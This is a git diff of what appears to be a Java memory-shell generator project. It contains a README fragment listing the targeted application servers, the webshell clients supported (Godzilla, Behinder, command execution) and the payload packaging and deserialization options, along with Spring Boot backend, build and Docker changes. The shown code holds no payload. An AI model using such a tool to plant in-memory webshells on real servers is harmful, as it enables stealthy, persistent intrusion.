||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|
|
||||||
|
| Filter | Filter | Filter | Servlet |
|
||||||
|
| Listener | Listener | Listener | Filter |
|
||||||
|
| Valve | Valve | Valve | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] Godzilla 哥斯拉
|
||||||
|
- [x] Behinder 冰蝎
|
||||||
|
- [x] 命令执行
|
||||||
|
- [ ] AntSword 蚁剑
|
||||||
|
- [ ] Suo5
|
||||||
|
- [ ] Neo-reGeorg
|
||||||
|
- [ ] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL
|
||||||
|
- [x] Velocity、Freemarker
|
||||||
|
- [x] 原生反序列化(CB4)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
|
|
||||||
|
## How
|
||||||
|
|
||||||
|
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
||||||
|
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
|
||||||
|
参考 [CONTRIBUTE.md](CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 128 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 258 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 236 KiB |
@@ -1,35 +0,0 @@
|
|||||||
import http.server
|
|
||||||
import socketserver
|
|
||||||
|
|
||||||
PORT = 8000
|
|
||||||
TARGET_PATH = "/api/v1/data"
|
|
||||||
|
|
||||||
|
|
||||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|
||||||
def do_POST(self):
|
|
||||||
if self.path == TARGET_PATH:
|
|
||||||
try:
|
|
||||||
content_length = int(self.headers['Content-Length'])
|
|
||||||
post_data_bytes = self.rfile.read(content_length)
|
|
||||||
post_data_str = post_data_bytes.decode('utf-8')
|
|
||||||
print("-----------------------------\n")
|
|
||||||
print(f"Client IP: {self.client_address}")
|
|
||||||
print(f"Request Header:\n{self.headers}")
|
|
||||||
print(f"Request Body:\n{post_data_str}")
|
|
||||||
print("-----------------------------\n")
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header('Content-type', 'application/json')
|
|
||||||
self.end_headers()
|
|
||||||
response_message = '{"status": "success"}'
|
|
||||||
self.wfile.write(response_message.encode('utf-8'))
|
|
||||||
except Exception as e:
|
|
||||||
print(f"Parse POST failed: {e}")
|
|
||||||
self.send_response(500)
|
|
||||||
else:
|
|
||||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
|
||||||
self.send_response(404)
|
|
||||||
|
|
||||||
|
|
||||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
|
||||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
|
||||||
httpd.serve_forever()
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
import http from 'k6/http';
|
|
||||||
import {check, sleep} from 'k6';
|
|
||||||
|
|
||||||
export const options = {
|
|
||||||
rps: 4500,
|
|
||||||
vus: 10,
|
|
||||||
duration: '5m',
|
|
||||||
};
|
|
||||||
|
|
||||||
export default function () {
|
|
||||||
const res = http.get('http://localhost:8082/app/test');
|
|
||||||
check(res, {
|
|
||||||
'status is 200': (r) => r.status === 200,
|
|
||||||
});
|
|
||||||
sleep(1);
|
|
||||||
}
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
FROM python:3.12-slim
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
|
||||||
|
|
||||||
COPY neoreg.py .
|
|
||||||
|
|
||||||
CMD ["tail", "-f", "/dev/null"]
|
|
||||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
Before Width: | Height: | Size: 268 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,37 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java-platform'
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
constraints {
|
||||||
|
api 'net.bytebuddy:byte-buddy:1.+'
|
||||||
|
|
||||||
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
|
api 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
|
||||||
|
api 'org.springframework:spring-webmvc:5.3.24'
|
||||||
|
api 'org.springframework:spring-webflux:5.3.24'
|
||||||
|
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||||
|
|
||||||
|
api 'commons-io:commons-io:2.+'
|
||||||
|
api 'org.apache.commons:commons-lang3:3.+'
|
||||||
|
api 'commons-codec:commons-codec:1.+'
|
||||||
|
api 'ch.qos.logback:logback-classic:1.+'
|
||||||
|
|
||||||
|
api 'xalan:xalan:2.7.0'
|
||||||
|
api 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
|
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
|
api 'com.squareup.okhttp3:okhttp:4.+'
|
||||||
|
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
|
|
||||||
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
|
api "org.mockito:mockito-core:5.+"
|
||||||
|
api 'org.hamcrest:hamcrest:3.0'
|
||||||
|
api 'org.junit:junit-bom:5.10.0'
|
||||||
|
api 'org.testcontainers:testcontainers:1.20.4'
|
||||||
|
api 'org.testcontainers:junit-jupiter:1.20.4'
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,8 +4,6 @@ build/
|
|||||||
!gradle/wrapper/gradle-wrapper.jar
|
!gradle/wrapper/gradle-wrapper.jar
|
||||||
!**/src/main/**/build/
|
!**/src/main/**/build/
|
||||||
!**/src/test/**/build/
|
!**/src/test/**/build/
|
||||||
src/main/resources/static/
|
|
||||||
src/main/resources/templates/
|
|
||||||
|
|
||||||
### STS ###
|
### STS ###
|
||||||
.apt_generated
|
.apt_generated
|
||||||
|
|||||||
+9
-14
@@ -1,22 +1,17 @@
|
|||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:17-jre
|
||||||
|
|
||||||
|
ARG VERSION=1.0.0
|
||||||
|
|
||||||
|
ENV VERSION=$VERSION
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
COPY build/libs/boot-${VERSION}.jar app.jar
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
ENV JAVA_OPTS="" \
|
||||||
useradd -r -g spring spring
|
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||||
|
|
||||||
COPY --chown=spring:spring build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
USER spring:spring
|
|
||||||
|
|
||||||
ENV INTERNAL_JAVA_OPTS="\
|
|
||||||
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
|
||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|
||||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
|
||||||
|
|||||||
@@ -0,0 +1,71 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'org.springframework.boot' version '3.4.0'
|
||||||
|
id 'io.spring.dependency-management' version '1.1.6'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
tasks.withType(JavaCompile).configureEach {
|
||||||
|
options.compilerArgs += [
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom annotationProcessor
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||||
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
|
}
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
|
implementation 'com.google.code.gson:gson:2.11.0'
|
||||||
|
compileOnly 'org.projectlombok:lombok'
|
||||||
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||||
|
annotationProcessor 'org.projectlombok:lombok'
|
||||||
|
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named('test') {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("org.springframework.boot") version "4.1.0"
|
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom(configurations.annotationProcessor.get())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation(project(":packer")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
|
||||||
implementation(libs.commons.lang3)
|
|
||||||
compileOnly("org.projectlombok:lombok")
|
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
|
||||||
annotationProcessor("org.projectlombok:lombok")
|
|
||||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
|
||||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
@@ -8,10 +7,11 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
@Slf4j
|
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,23 +13,10 @@ import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|||||||
@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
|
||||||
@ExceptionHandler(NoResourceFoundException.class)
|
|
||||||
public ResponseEntity<?> handleNoResourceException() {
|
|
||||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
|
||||||
@ExceptionHandler(GenerationException.class)
|
|
||||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
|
||||||
return new ErrorResponse(exception.getMessage());
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("Internal Exception", throwable);
|
log.error("请求出错", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.config;
|
|
||||||
|
|
||||||
import org.springframework.context.annotation.Bean;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.http.client.SimpleClientHttpRequestFactory;
|
|
||||||
import org.springframework.web.client.RestTemplate;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
@Configuration
|
|
||||||
public class WebConfig {
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public RestTemplate restTemplate() {
|
|
||||||
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
|
|
||||||
factory.setConnectTimeout(3000);
|
|
||||||
factory.setReadTimeout(3000);
|
|
||||||
return new RestTemplate(factory);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.springframework.asm.ClassReader;
|
|
||||||
import org.springframework.cglib.core.ClassNameReader;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ClassNameParseController {
|
|
||||||
|
|
||||||
@PostMapping("/api/className")
|
|
||||||
public String className(@RequestBody String classBase64) {
|
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,100 +1,58 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.boot.vo.PackerVO;
|
import com.reajason.javaweb.memshell.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import org.springframework.http.ResponseEntity;
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #config()} for memshell configuration and
|
|
||||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/servers")
|
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public Map<String, List<String>> getServers() {
|
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
|
||||||
for (String supportedServer : supportedServers) {
|
|
||||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
|
||||||
.getShellInjectorMapping().getSupportedShellTypes();
|
|
||||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
|
||||||
}
|
|
||||||
return servers;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers")
|
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public List<String> getPackers() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
|
||||||
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers/tree")
|
|
||||||
public List<PackerVO> getPackerTree() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(packers -> new PackerVO(
|
|
||||||
packers.name(),
|
|
||||||
Packers.getPackersWithParent(packers.getInstance().getClass())
|
|
||||||
.stream().map(Packers::name).toList()))
|
|
||||||
.toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping("/probe/response-body/servers")
|
|
||||||
public List<String> getProbeResponseBodyServers() {
|
|
||||||
return ResponseBodyGenerator.getSupportedServers();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public ResponseEntity<?> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
for (Server value : Server.values()) {
|
||||||
for (String supportedServer : supportedServers) {
|
AbstractShell shell = value.getShell();
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
if (shell == null) {
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
continue;
|
||||||
for (String shellTool : server.getSupportedShellTools()) {
|
}
|
||||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
ShellTool[] supportedShellTools = ShellTool.values();
|
||||||
|
Map<String, List<String>> map = new LinkedHashMap<>(16);
|
||||||
|
for (ShellTool shellTool : supportedShellTools) {
|
||||||
|
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool, supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(supportedServer, map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
Config config = new Config();
|
||||||
|
config.setServers(
|
||||||
|
Arrays.stream(Server.values())
|
||||||
|
.filter(s -> s.getShell() != null)
|
||||||
|
.map(Server::name)
|
||||||
|
.collect(Collectors.toList())
|
||||||
|
);
|
||||||
|
config.setCore(coreMap);
|
||||||
|
config.setPackers(
|
||||||
|
Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList()
|
||||||
|
);
|
||||||
|
return ResponseEntity.ok(config);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
@GetMapping("/command/configs")
|
|
||||||
public CommandConfigVO getCommandConfigs() {
|
|
||||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
|
||||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
|
||||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
|
||||||
return commandConfigVO;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class GeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
